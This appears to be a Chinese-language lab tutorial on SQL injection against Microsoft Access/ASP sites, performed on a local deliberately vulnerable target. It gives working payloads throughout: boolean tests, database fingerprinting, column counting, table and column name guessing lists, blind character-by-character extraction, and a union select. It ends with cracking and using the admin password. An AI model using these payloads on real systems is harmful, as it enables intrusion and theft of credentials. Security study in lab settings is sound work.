一、认识access数据库
先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
优势:提高速度和减少代码量
缺点:数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!(例如:访问人数过多时容易造成IIS假死,过多消耗服务器资源等等)、容易出现各种因数据库刷写频率过快而引起的数据库问题、安全性比不上其他类型的数据库等。
常见的数据库和脚本语言的搭配:
1、LAMP: Linux+apache+PHP+MySQL
2、LNMP:Linux+Nginx+PHP+MySQL
3、Windows+IIS+.net+MSSql Server
4、Linux+Tomcat+JSP+MySQL
5、Linux+Tomcat+JSP+Oracle
6、asp+access
7、asp.net+MSSql Server
二、access注入的常用方法
这里我在本地搭建了一个存在注入漏洞的靶机,用到的工具是小旋风asp服务器。
源码下载:https://pan.baidu.com/s/1OOsQ2gLEG7Sb0d0ZlHlqxg
提取码:9t3k
注入步骤:
1、找到注入点
我这里的注入点是 http://localhost/sql/Production/PRODUCT_DETAIL.asp?id=1139
2、判断是否是可注入点
先用单引号'初步判断
出现异常,说明存在sql注入漏洞,而且这个方法还可以从异常信息中看出网站使用的是Access数据库。
然后再使用经典命令 确认注入点:and 1=1,两边同时成立则返回数据正常,而 and 1=2则返回错误
这里已经可以确定这里就是可注入的点了。
3、判断网站数据库的类型
利用内置数据库表获取数据库类型
and (select count(*) from sysobjects)>=0
Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
Msysobjects为Access数据库内置表
先用and (select count(*) from sysobjects)>=0判断是否是sqlserver
这里说明不存在这个表,所以不是sqlserver数据库
再用and (select count(*) from msysobjects)>=0判断
这里说明存在这个表,只不过是没有权限读取而已。所以可以知道网站使用的数据库是Access
4、判断字段数量
网站的一个页面中的类容是调用的数据库中某个表的字段内容,所以这里判断的字段数量就是该页面所调用表的所有字段数量
用order by 判断字段数量
这里判断有20个字段数,仍然页面正常。继续增大字段数
当判断字段数为23时页面出错,判断为22时刚好页面正常,所以该表的字段数为22
5、猜解后台管理员数据表名
常用命令:
and exists(select * from 表名)
and(select count(*) from 表名)>=0
常用表名:
admin、a_admin、x_admin、m_admin、adminuser、adminstrator...
我这里猜测出来的表名是 admin
6、猜解列名(字段名)
常用的列名:
admin,password,username、admin_name、name、admin_userid、admin_id...
常用命令:
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0
这里猜解的字段名为admin、password
7、猜解字段内容长度
and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n
n为从1开始的值,依次加1直到回显为错误,那个n值则为该列第一个变量的长度(top 1子句含义为查询结果只显示首条记录)
结果显示admin表中admin字段的首条数据的长度为5,password字段也用同样方法测试长度为16.
8、猜解字段内容
and (select top 1 asc(mid(列名,n,1)) from 表名) > m
n为从1开始的值,m为从97开始的值。m依次加1,直到出现错误回显为止,则说明列中的第n个字母的ASCII码为m。
补充:
MID 函数用于从文本字段中提取字符: MID(column_name,start[,length])
ASC函数用于获取字符的ASCII码
结果说明admin表中admin字段的首条数据的第一个字符的ascll码为97,对应的是a。
继续测试得出admin字段的内容为admin,password字段的内容为a48e190fafc257d3,这个明显是MD5加密后的样子,解密为bendss。
所以后台管理员账号是 admin 密码是 bendss。
还有一个方法获取字段内容就是union联合查询
注意:union所连接的两个查询语句,它们所查询的字段数据一定要相同,不然会出错的!比如前面那个句子查询了一个字段,后面那个句子查了两个,那这个句子就是错的!根据union的这个性质!我们要想用union联合查询,就一定要知道注入点所对应的SQL查询语句查询了多少个字段!
http://localhost/sql/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
9、利用该账号密码登录后台
登录成功,所以access注入成功,并且拿到了后台管理员的账号和密码,借此可以更进一步的进行渗透了。